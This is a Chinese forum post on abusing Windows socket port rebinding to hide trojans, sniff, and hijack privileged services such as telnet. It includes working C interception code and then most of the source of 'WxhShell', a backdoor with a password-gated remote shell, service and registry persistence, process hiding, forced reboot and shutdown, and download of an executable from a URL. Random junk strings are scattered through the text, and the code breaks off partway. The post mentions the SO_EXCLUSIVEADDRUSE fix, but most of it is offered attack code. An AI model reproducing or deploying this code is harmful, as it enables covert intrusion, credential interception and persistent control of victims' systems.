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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kEpCF:@A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SB\T iH/  
Bq)aA)gF  
  saddr.sin_family = AF_INET; d:1TSJff%/  
Nw=mSW^E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s0bWg$  
[!CIBK99  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v9 K{oB  
XI*cu\7sy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f0,,<ib.w  
@Nk]f  
  这意味着什么?意味着可以进行如下的攻击: #pm0T1+jW  
FZW:dsm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Lp}>WCams  
&*r'Sx )V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q'n]+%YN  
!mtq?LV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Rr0@F`"R  
r:*0)UZlD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }xE}I<M  
=9@t6   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7)y9% -}  
D%=FCmL5@=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g<"k\qs7  
e$+/;MRq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qqR8E&Y{  
fR6.:7&  
  #include BvA09lK  
  #include XK7$Xbd  
  #include j/+e5.EX/  
  #include    jaq`A'o5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K=`;D  
  int main() [~_()i=Y  
  { $pO gFA1'  
  WORD wVersionRequested; +bv-!rf  
  DWORD ret; 4fp]z9Y  
  WSADATA wsaData; GDUOUl&  
  BOOL val; bRzw.(k0`r  
  SOCKADDR_IN saddr; KqH_?r`  
  SOCKADDR_IN scaddr; a1n j}1M%  
  int err; S66. .sa  
  SOCKET s; {~RS$ |  
  SOCKET sc; L1i:hgq0]  
  int caddsize; _~_E(rTn  
  HANDLE mt; `[*nUdG  
  DWORD tid;   Yo$ xz  
  wVersionRequested = MAKEWORD( 2, 2 ); Q1yj+)_  
  err = WSAStartup( wVersionRequested, &wsaData ); $JTQA  
  if ( err != 0 ) { PfKF!/c B  
  printf("error!WSAStartup failed!\n"); u:FFZ  
  return -1; ~-.^eT kP  
  } hL8GW> `a  
  saddr.sin_family = AF_INET; D)*OQLHW  
   ]J%p&y+6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @&G< Np`  
ZC\&n4~7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [c=T)]E1  
  saddr.sin_port = htons(23); rIg5Wcd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @h&crI[c  
  { ?U PZ49y  
  printf("error!socket failed!\n"); Z[{k-_HgAm  
  return -1; uK5&HdoM  
  } Q-:IE T  
  val = TRUE; +g6t)Gl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n)'5h &#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rL=_z^.P  
  { |d B`URP  
  printf("error!setsockopt failed!\n");  c>(`X@KL  
  return -1; #kt3l59Ty  
  } keYvscRBI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :~1sF_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,GH;jw)P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >){"x(4`  
/QeJ#EHn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ic4mD:-up  
  { D@cv{ _M/  
  ret=GetLastError(); O0Vtvbj  
  printf("error!bind failed!\n"); _FRwaFVJ3  
  return -1; t'{\S_  
  } U0Y;*_>4  
  listen(s,2); fZ*LxL  
  while(1) }bg_?o;X}  
  { =Bq3O58+  
  caddsize = sizeof(scaddr); RrPo89o  
  //接受连接请求 +TQMA >@g<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !k= ~5)x  
  if(sc!=INVALID_SOCKET) nbGB84  
  { #`>46T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #s-^4znv9  
  if(mt==NULL) dD Zds k+!  
  { HaUfTQ8  
  printf("Thread Creat Failed!\n");  d Xiv8B1  
  break; xp4w9.X5(  
  } yl=_ /'*  
  } UY!N"[&  
  CloseHandle(mt); E_[)z%&n2  
  } *61+Fzr  
  closesocket(s); .|pyloL.  
  WSACleanup(); &%ZiI@O-  
  return 0; #00k7y>OyD  
  }   h5:>o  
  DWORD WINAPI ClientThread(LPVOID lpParam) nlfu y[oX  
  { yz CQ  
  SOCKET ss = (SOCKET)lpParam; dHtbl\6  
  SOCKET sc;  n]N+  
  unsigned char buf[4096]; Ev R6^n/  
  SOCKADDR_IN saddr; z/,qQVv=}4  
  long num; 1%;o-F@  
  DWORD val; (61_=,jv\h  
  DWORD ret; 4a&*?=GG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [CBhipoc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @Y~R*^n"}  
  saddr.sin_family = AF_INET; g@va@*|~d  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !&3iZQGWv  
  saddr.sin_port = htons(23); JMUk=p<\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JVoW*uA  
  { $8{|25 *E  
  printf("error!socket failed!\n"); WCg*TL}  
  return -1; Nf#8V|  
  } Aj9Onz,Lg  
  val = 100; ZwV`} 2{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v[aFSXGj)  
  { b&y"[1`  
  ret = GetLastError(); J< E"ZoY  
  return -1; C;T:'Uws  
  } 0u?{"xH{+}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `+4>NT6cu9  
  { hU}!:6G%[P  
  ret = GetLastError(); 98%M`WY  
  return -1; <h$Nh0  
  } 1;\A./FVv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tj:Q]]\M  
  { b)SU8z!NV&  
  printf("error!socket connect failed!\n"); N34.Bt  
  closesocket(sc); #SHmAB  
  closesocket(ss); 1|?8g2Vf  
  return -1; h"7:&=e  
  } PJ=N.x f}  
  while(1) tA?cHDp4E  
  { >d`XR"_e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hr T_0FZV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yU-^w^4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |NbF3 fD  
  num = recv(ss,buf,4096,0); "funFvY  
  if(num>0) !Od?69W, $  
  send(sc,buf,num,0); Qg7rkRia  
  else if(num==0) oBA]qI  
  break; H O^3v34ZO  
  num = recv(sc,buf,4096,0); 6N{V cfq  
  if(num>0) P <$)v5f  
  send(ss,buf,num,0); Br}&  
  else if(num==0) X}Ey6*D:  
  break; |M*jo<C  
  } ,ZpcvK/S  
  closesocket(ss); RG'Ft]l92N  
  closesocket(sc); yzvNv]Z'*  
  return 0 ; M  `QYrH  
  } fkprTk^#  
p)t1] <,Of  
D# $Fj  
========================================================== BZ]6W/0  
!besMZ  
下边附上一个代码,,WXhSHELL UBmD 3|Zo  
re\@v8w~  
========================================================== jm-J_o;}z6  
QF  P3S(  
#include "stdafx.h" c]#+W@$  
gaK m`#  
#include <stdio.h> @} nI$x.  
#include <string.h> j|`6[93MG  
#include <windows.h> sHqs)@D  
#include <winsock2.h> kWF/SsE  
#include <winsvc.h> }!5x1F!  
#include <urlmon.h> P87!+pB(  
|WopsV %  
#pragma comment (lib, "Ws2_32.lib") pjC2jlwm*  
#pragma comment (lib, "urlmon.lib") b7 pD#v  
1]yOC)u"i  
#define MAX_USER   100 // 最大客户端连接数 >-2eZ(n)"  
#define BUF_SOCK   200 // sock buffer [79 eq=  
#define KEY_BUFF   255 // 输入 buffer m;=wQYFr{I  
Mp*S+Plp  
#define REBOOT     0   // 重启 IL:d`Kbqf  
#define SHUTDOWN   1   // 关机 xiu?BP?V  
bIFKP  
#define DEF_PORT   5000 // 监听端口 jV(\]g"/=  
>&@hm4  
#define REG_LEN     16   // 注册表键长度 ZZkxEq+D  
#define SVC_LEN     80   // NT服务名长度 p2c4 <f-M  
0_}^IiG  
// 从dll定义API wq[\Fb`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [0_JS2KE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2Xu?/yd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &1O!guq%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y$n7'W6  
[m9Pt]j@  
// wxhshell配置信息 j@kL`Q\&I  
struct WSCFG { /`M> 3q[  
  int ws_port;         // 监听端口 s6#@S4^=\  
  char ws_passstr[REG_LEN]; // 口令 ZS&n,<a5L}  
  int ws_autoins;       // 安装标记, 1=yes 0=no U($sH9,  
  char ws_regname[REG_LEN]; // 注册表键名 hK!Z ~  
  char ws_svcname[REG_LEN]; // 服务名 ;(a\F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;j#$d@VG"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FmfPi .;1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?'xTSAn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "6T: &>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;l^4/BR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?;{fqeJz  
p*11aaIbp~  
}; -mSiZ  
l!n<.tQW  
// default Wxhshell configuration 81\$X  
struct WSCFG wscfg={DEF_PORT, J{GtH[  
    "xuhuanlingzhe", K3eYeXV  
    1, w#?@ulr]d  
    "Wxhshell", Hpo/CY/  
    "Wxhshell", 0-)D`s%  
            "WxhShell Service", 87/!u]q  
    "Wrsky Windows CmdShell Service", 9n$0OH /q  
    "Please Input Your Password: ", A),nkw0X  
  1, so* lV  
  "http://www.wrsky.com/wxhshell.exe", GZL{~7n  
  "Wxhshell.exe" NDG3mCl  
    }; tMN^"sjf*  
~, hPi  
// 消息定义模块 @ljvTgZ(X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %ZN p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -1tdyCez  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J 4$^Hr  
char *msg_ws_ext="\n\rExit."; !J34yro+s  
char *msg_ws_end="\n\rQuit."; Rp~#zt9:  
char *msg_ws_boot="\n\rReboot..."; =1dU~B:Lm  
char *msg_ws_poff="\n\rShutdown..."; Nhh2P4gH  
char *msg_ws_down="\n\rSave to "; bYr;~ ^  
!i0jk,[B=  
char *msg_ws_err="\n\rErr!"; Z[.+Wd\)-9  
char *msg_ws_ok="\n\rOK!"; j@1rVOmK  
d^"dL" Q6m  
char ExeFile[MAX_PATH]; #!Iez vWf  
int nUser = 0; -*[?E!F  
HANDLE handles[MAX_USER]; =AFTB<7-^  
int OsIsNt; +/A`\9QT  
tK<GU.+  
SERVICE_STATUS       serviceStatus; < bHu9D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UWdPB2x[  
< V?CM(1C  
// 函数声明 JHY0 J &4s  
int Install(void); E$z)$`"1  
int Uninstall(void); 0> pOP  
int DownloadFile(char *sURL, SOCKET wsh); B,sv! p+q5  
int Boot(int flag); 5xZ*U  
void HideProc(void); u$%>/cv  
int GetOsVer(void); FzOr#(^  
int Wxhshell(SOCKET wsl); cD-.thHO  
void TalkWithClient(void *cs); A>"v1Wk  
int CmdShell(SOCKET sock); njk.$]M|nf  
int StartFromService(void); zE{@'  
int StartWxhshell(LPSTR lpCmdLine); ;T0Y= yC  
c#q OK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |aiP7C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dzY B0vut@  
c65_E<5Z  
// 数据结构和表定义 20hF2V  
SERVICE_TABLE_ENTRY DispatchTable[] = Mis t,H7  
{ ZeD""vJRY  
{wscfg.ws_svcname, NTServiceMain}, )oOcV%  
{NULL, NULL} N0be=IO5#  
}; zcrLd={  
{;(X#vK}9  
// 自我安装 LGN,8v<W(  
int Install(void) /K mzi9j+  
{ ETP}mo  
  char svExeFile[MAX_PATH]; d*26;5~\  
  HKEY key; "7R"(.~>  
  strcpy(svExeFile,ExeFile); 5YJn<XEc  
1y5]+GU'`  
// 如果是win9x系统,修改注册表设为自启动 0NLoqq  
if(!OsIsNt) { _C9*M6IU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KlgPDV9mg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $or?7 w>  
  RegCloseKey(key); QN[-XQ>Xt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )hH9VGZq(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I At;?4  
  RegCloseKey(key); ?^i$} .%W  
  return 0; q #f U*  
    } :$&%Pxm  
  } $tyF(RybG  
} +w Oa  
else { ,jWMJ0X/N=  
t&UPU&tY  
// 如果是NT以上系统,安装为系统服务 /#Y)nyE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M.K-)r,  
if (schSCManager!=0) . xT8@]  
{ s)$N&0\  
  SC_HANDLE schService = CreateService -Iz&/u*}f  
  ( U;n$  
  schSCManager, 7%Zl^c>q  
  wscfg.ws_svcname, T>(nc"(  
  wscfg.ws_svcdisp, `d#l o  
  SERVICE_ALL_ACCESS, ?45kN=%*s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ScrEtN  
  SERVICE_AUTO_START, 6JWCB9$4  
  SERVICE_ERROR_NORMAL, k%\_UYa  
  svExeFile, <{7CS=)  
  NULL, sDnHd9v<?t  
  NULL, &sL(|>N  
  NULL, Dm/# \y3  
  NULL, eqcV70E8cK  
  NULL ^5TSo&qZ  
  ); C+-GE9=  
  if (schService!=0) jsS xjf;O  
  { qr%9S dvx  
  CloseServiceHandle(schService); "J]_B  
  CloseServiceHandle(schSCManager); - |mWi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .5I!h !  
  strcat(svExeFile,wscfg.ws_svcname); 16MRLDhnD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *loPwV8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G#/}_P  
  RegCloseKey(key); -ea>}S  
  return 0; 8P r H"pI  
    } jw$3cwddH  
  } 4C^;lK  
  CloseServiceHandle(schSCManager); ._m+@Uy]H}  
} O=}4?Xv  
} :mLcb. E  
C=ni5R  
return 1; )/H=m7}1h  
} mLU4RQ}5  
ig:/60Z  
// 自我卸载 ]gYnw;W$  
int Uninstall(void) 2Yt#%bj7^  
{ D3V5GQ\=  
  HKEY key; W B)<B  
X3#/|>  
if(!OsIsNt) { FL!W oTB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5T;M,w6DV  
  RegDeleteValue(key,wscfg.ws_regname); I|lz;i}$  
  RegCloseKey(key); Z~{0XG\Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D<$~bUkxR  
  RegDeleteValue(key,wscfg.ws_regname); <A&mc,kj  
  RegCloseKey(key); FblwQ-D  
  return 0; /_E8'qlx  
  } LZm6\x  
} edhNQWn  
} `e]L.P_e?  
else { *,hS-  
 t4pc2b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dt)\q^bH)  
if (schSCManager!=0) 0 Vv 6B2<  
{ yfeX=h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D/jB .  
  if (schService!=0) G?!b00H  
  { 9ctvy?53H  
  if(DeleteService(schService)!=0) { fk4s19;?  
  CloseServiceHandle(schService); IbC(/i#%`  
  CloseServiceHandle(schSCManager); egboLqn  
  return 0; IlsXj`!e  
  } O{a<f7 W  
  CloseServiceHandle(schService); pfgFHNH:  
  } n'=-bj`  
  CloseServiceHandle(schSCManager); (&0%![j&  
} A_1cM#4  
} d_=@1 JM>  
8RWfv}:X  
return 1; %)T>Wn%b]v  
} ')t :!#  
#}L75  
// 从指定url下载文件 }\}pSqW  
int DownloadFile(char *sURL, SOCKET wsh) |n=m{JX\m  
{ ![3#([>4>  
  HRESULT hr; xRYL{+  
char seps[]= "/"; t9S zZ2E  
char *token; C{!L +]/  
char *file; /%|JP{   
char myURL[MAX_PATH]; V %'`nJ!  
char myFILE[MAX_PATH]; XVAy uuTg\  
4>nY't;0  
strcpy(myURL,sURL); E%OY7zf`%  
  token=strtok(myURL,seps); e>~g!S}G  
  while(token!=NULL) G$pTTT6#  
  { $,q~q^0  
    file=token; Htn=h~U`z  
  token=strtok(NULL,seps); ,~8:^*0s  
  } !/+ZKx("9  
i`/_^Fndyu  
GetCurrentDirectory(MAX_PATH,myFILE); q\ FF)H  
strcat(myFILE, "\\"); ES!$JWK|  
strcat(myFILE, file); / PG+ s6  
  send(wsh,myFILE,strlen(myFILE),0); PE3FuJGz  
send(wsh,"...",3,0); QU^*(HGip  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r#iZ FL3q  
  if(hr==S_OK) mZ 39 s  
return 0; dt(~)*~R  
else ;]zV ?9  
return 1; K,e"@G  
0xrr9X<  
} QQUeY2}  
\O5`R-  
// 系统电源模块 |m7U^  
int Boot(int flag) %0C<_drW  
{ u-PAi5&n  
  HANDLE hToken; #j -bT4!  
  TOKEN_PRIVILEGES tkp; sS;6QkI"y  
:+{G|goZ*  
  if(OsIsNt) { CY#|VE M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /ylO["<Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1ael{b!  
    tkp.PrivilegeCount = 1; rF:C({y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z(2pl}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h\\fb[``  
if(flag==REBOOT) { qd#?8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qp_lMz  
  return 0; .gTla  
} kcKcIn{  
else { \"Z^{Y[,;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AE`X4q  
  return 0; i2KN^"v?N  
} '?dO[iQ$:  
  } D+ mZ7&L  
  else { tJ[yx_mf  
if(flag==REBOOT) { YXI_ '  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aTS\NpK&  
  return 0; XWN ra  
} DhZuQpH  
else { VZo[\sWf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,Oa-AF/p  
  return 0; Ix@rn  
} /5A um ?~  
} eygmhaE  
+\g/KbV7  
return 1; jGpSECs  
} C(zgBk  
|f), dC  
// win9x进程隐藏模块 Q^X  
void HideProc(void) |{ W4JFKJ  
{ ly"Jl8/<  
pgbm2mT9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0$)s? \  
  if ( hKernel != NULL ) EdFCaW}""  
  { 0/K?'&$yvb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]j> W9n?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O b'B?  
    FreeLibrary(hKernel); ]-[M&i=+&  
  } :5Vk+s]8  
 [U9b_`  
return; xi['knUi2-  
} Q#"p6ZmI  
^mxOQc !  
// 获取操作系统版本 ZoX24C'  
int GetOsVer(void) m>yb}+  
{ HV O mM17  
  OSVERSIONINFO winfo; n%'M?o]DF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TNe,'S,%  
  GetVersionEx(&winfo); Z9 X<W`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MzjV>.  
  return 1; 8K+(CS>xvO  
  else |dIP &9  
  return 0; Qn= 3b:S-  
} e_'/4 n  
a&:1W83  
// 客户端句柄模块 ;pe1tp  
int Wxhshell(SOCKET wsl) H$'|hUwds%  
{ U\aP  
  SOCKET wsh; <Sds5 d  
  struct sockaddr_in client; +B(x:hzY9  
  DWORD myID; ,fWQSc\}  
;W%nBdE6|  
  while(nUser<MAX_USER) (NfP2E|B  
{ aAM!;3j]B`  
  int nSize=sizeof(client); F6>K FU8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :5)Dn87  
  if(wsh==INVALID_SOCKET) return 1; vHR-mQUs  
CTawXHM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q{%2Npvq  
if(handles[nUser]==0) dRw O t  
  closesocket(wsh); @z $,KUH  
else ( w4w  
  nUser++; y8} fj=  
  } WgHl. :R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m$N` Xj  
m(0sG(A~  
  return 0; 4I7B #{  
} \s_lB~"P!3  
[5[}2 B_t  
// 关闭 socket fP 1V1ao  
void CloseIt(SOCKET wsh) vTnrSNdSE  
{ (Hk4~v6pqC  
closesocket(wsh); 5)712b(&  
nUser--; rP4v_?Zg+  
ExitThread(0); vW6 a=j8  
} 5cc;8i  
lMkDLobos  
// 客户端请求句柄 .CJQ]ECl7p  
void TalkWithClient(void *cs) Xae0xs  
{ qHwHP 1  
'ec G:B`S  
  SOCKET wsh=(SOCKET)cs; (!b_o A8V  
  char pwd[SVC_LEN]; E :gS*tsY  
  char cmd[KEY_BUFF]; w+A:]SU  
char chr[1]; Skb,cKU  
int i,j; 5L ]TV\\  
'XW[uK]w)  
  while (nUser < MAX_USER) { >?Y)evW  
lT.Q)(  
if(wscfg.ws_passstr) { t<~WDI|AN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y{ & k`H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :~uvxiF  
  //ZeroMemory(pwd,KEY_BUFF); m7<HK,d  
      i=0; dA,irb I0W  
  while(i<SVC_LEN) { %>,B1nt  
F; upb5  
  // 设置超时 zzlqj){F  
  fd_set FdRead; jbQ N<`!  
  struct timeval TimeOut; XKp$v']u  
  FD_ZERO(&FdRead); E`E$ }iLs  
  FD_SET(wsh,&FdRead); bBx.snBK  
  TimeOut.tv_sec=8; )-qWcf?   
  TimeOut.tv_usec=0; oZM6%-@qi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g)Ep'd-w"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~bm VpoI  
_(J;!,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T,' {0q  
  pwd=chr[0]; GCrIa Z  
  if(chr[0]==0xd || chr[0]==0xa) { 1 zo0/<dk  
  pwd=0; 3C:!\R  
  break; [^N8v;O  
  } w$5~'Cbi  
  i++; Qu 7#^%=  
    } 7CKpt.Sz6  
4}i2j  
  // 如果是非法用户,关闭 socket hMcSB8?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =J@M, mbHg  
} ^Rel-=Z$B  
3o).8b_3g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U,G!u=+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $x5,Oen  
tx$i(  
while(1) { N+)gYb6h  
"hE/f~\  
  ZeroMemory(cmd,KEY_BUFF); /5x~3~  
XsH(8-n0  
      // 自动支持客户端 telnet标准   <V> [H7  
  j=0; /mdPYV  
  while(j<KEY_BUFF) { tVAWc$3T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); os :/-A_m  
  cmd[j]=chr[0]; m=s aUhI*9  
  if(chr[0]==0xa || chr[0]==0xd) { oK-T@ &-  
  cmd[j]=0; \IL;}D{  
  break; 8Ce|Q8<8]  
  } y15 MWZ  
  j++; [>P9_zID  
    } $A4rdhvd  
jb~W(8cj  
  // 下载文件 L&gC  
  if(strstr(cmd,"http://")) { NZu\ Ae  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `&3hfiI}  
  if(DownloadFile(cmd,wsh)) For`rfR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |E& F e8  
  else g431+O0K1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I "8:IF  
  } b 8vyJb,K  
  else { -dj9(~?^  
]q,5'[=~4h  
    switch(cmd[0]) { 5hhiP2q  
  /*V:Lh  
  // 帮助 2s^9q9NS"  
  case '?': { o {W4@:Ib  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R*"31&3le4  
    break; Qkk3>{I  
  }  +*W9*gl  
  // 安装 3 s@6pI  
  case 'i': { y v$@i A  
    if(Install()) |8QXjzH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2H,^i,  
    else FW~{io]n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Mn_T*F  
    break; U<pG P  
    } pCB^\M%*  
  // 卸载 t K $r_*  
  case 'r': { N5ph70#y3  
    if(Uninstall()) U-U^N7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "7> o"FQ  
    else .5S< G)Ja  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g6s&nH`Z2  
    break; )2nx5 "  
    } D.!ay>o0#  
  // 显示 wxhshell 所在路径 5B|&+7dCw  
  case 'p': { s8r|48I#;  
    char svExeFile[MAX_PATH]; +t9$*i9`L  
    strcpy(svExeFile,"\n\r"); B% ]yLJ  
      strcat(svExeFile,ExeFile); A:-MRhE9X  
        send(wsh,svExeFile,strlen(svExeFile),0); nnzfKn:J  
    break; jfLkp>2E'  
    } |D@/4B1P  
  // 重启 fZq_]1(/uP  
  case 'b': { \Zn%r&(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a/ 4!zT   
    if(Boot(REBOOT)) uVSc1 MS1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T>~D(4r|pS  
    else { |9fvj6?Y  
    closesocket(wsh); ?(t{VdZSzQ  
    ExitThread(0); ~BUzyc%  
    } 6~oo.6bA  
    break; W[$GB_A)  
    } =DL |Q  
  // 关机 HsF8$C$z  
  case 'd': { (plsL   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E43Gk!/|(  
